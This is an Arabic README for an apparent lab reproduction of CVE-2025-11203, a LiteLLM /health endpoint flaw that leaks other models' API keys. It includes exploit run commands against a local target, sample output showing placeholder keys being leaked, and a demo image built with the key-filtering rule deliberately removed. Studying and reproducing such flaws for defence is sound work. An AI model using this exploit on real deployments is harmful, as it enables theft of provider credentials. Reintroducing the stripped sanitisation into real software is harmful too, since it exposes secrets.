
الكود الخاص بإعادة إنتاج الثغرة المقابلة شخصيًا
LiteLLM (الإصدارات < 1.63.14) عند معالجة معامل
api_keyفي نقطة النهاية/health، لا تقوم بتصفية المعلومات الحساسة بشكل صحيح، مما يسمح للمستخدمين الموثقين بالحصول على مفاتيح API المخزنة في تكوينات النماذج الأخرى. كان من المفترض أن تقوم دالة_clean_endpoint_data()بإزالة حقلapi_keyولكن في بعض مسارات الكود يتم تسريبه.
| الحقل | القيمة |
|---|
| CVE | CVE-2025-11203 |
| ZDI ID | ZDI-25-929 (ZDI-CAN-26585) |
| CVSS v3.0 | 3.5 (منخفض) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N |
| CWE | CWE-200 (كشف معلومات حساسة لمخول غير مصرح له) |
| متأثر | LiteLLM < 1.63.14 |
| تم الإصلاح | v1.63.14+ (تطبيق شامل لـ _clean_endpoint_data()) |
| تاريخ النشر | 2025-10-29 |
| اكتشف بواسطة | David Fiser & Alfredo Oliveira — Trend Micro Security Research |
| تاريخ الإبلاغ للبائع | 2025-03-25 |
| روابط | ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq |
نقطة النهاية /health في LiteLLM تُستخدم لإرجاع حالة صحة جميع النماذج المُهيأة. في الظروف العادية، تقوم دالة _clean_endpoint_data() بإزالة الحقول الحساسة (مثل api_key، x-api-key، إلخ) من استجابة فحص الصحة.
ومع ذلك، قبل الإصدار v1.63.14، لم يتم تنفيذ دالة التنظيف هذه أو تم تنفيذها بشكل غير كامل في بعض مسارات الكود، مما أدى إلى إرجاع مفاتيح API من تكوين النموذج كنص عادي في استجابة فحص الصحة.
| نقطة النهاية | الطريقة | الوصف |
|---|---|---|
/health | GET | إرجاع حالة صحة جميع النماذج |
/health/liveliness | GET | فحص البقاء على قيد الحياة |
/health/readiness | GET | فحص الاستعداد |
يمكن للمستخدمين الموثقين الحصول عبر واجهة فحص الصحة على:
# 1. تشغيل نسخة LiteLLM الضعيفة
docker compose up -d
# 2. تثبيت التبعيات
pip install -r requirements.txt
# 3. تشغيل سكريبت الاستغلال
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. عرض الاستجابة الكاملة
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (اختياري) التحقق من الإصدار المُصلح
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
ملاحظة: تستغرق الخطوة 1 حوالي 60 ثانية لأن LiteLLM يختبر كل نموذج علوي (المفاتيح الوهمية تؤدي إلى انتهاء مهلة كل اتصال). تظهر المفاتيح المسربة تحت
unhealthy_endpointsلأن المفاتيح الوهمية لا تستطيع الاتصال فعليًا بـ OpenAI/Anthropic.
الإصدار المُصلح يرفض التسريب:
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
يقع الثغرة في دالة _clean_endpoint_data() داخل الملف litellm/proxy/health_check.py، والتي تقوم بتصفية الحقول الحساسة مثل api_key عبر قائمة ILLEGAL_DISPLAY_PARAMS:
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
في هذا العرض التوضيحي تمت إزالة "api_key" من قائمة ILLEGAL_DISPLAY_PARAMS باستخدام sed، مما يجعل استجابة /health تعيد تكوين النموذج الأصلي، محاكاةً لحالة تم فيها تجاوز دالة التنظيف في بعض مسارات الكود.
CVE-2025-11203/
├── README.md # هذا الملف
├── docker-compose.yml # LiteLLM الضعيف والمُصلح
├── litellm_config.yaml # تكوين مع 3 نماذج + مفاتيح API
├── requirements.txt # تبعيات Python
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + التصحيح
├── exploit/
│ └── exploit.py # سكريبت الاستغلال الرئيسي
├── docs/
│ └── advisory.md
└── screenshots/
تم إصلاحه في الإصدار v1.63.14، بضمان استدعاء _clean_endpoint_data() بشكل صحيح في جميع مسارات كود فحص الصحة.
/healthإخلاء مسؤولية: هذا المحتوى مقدم لأغراض تعليمية واختبار أمني مصرح به فقط.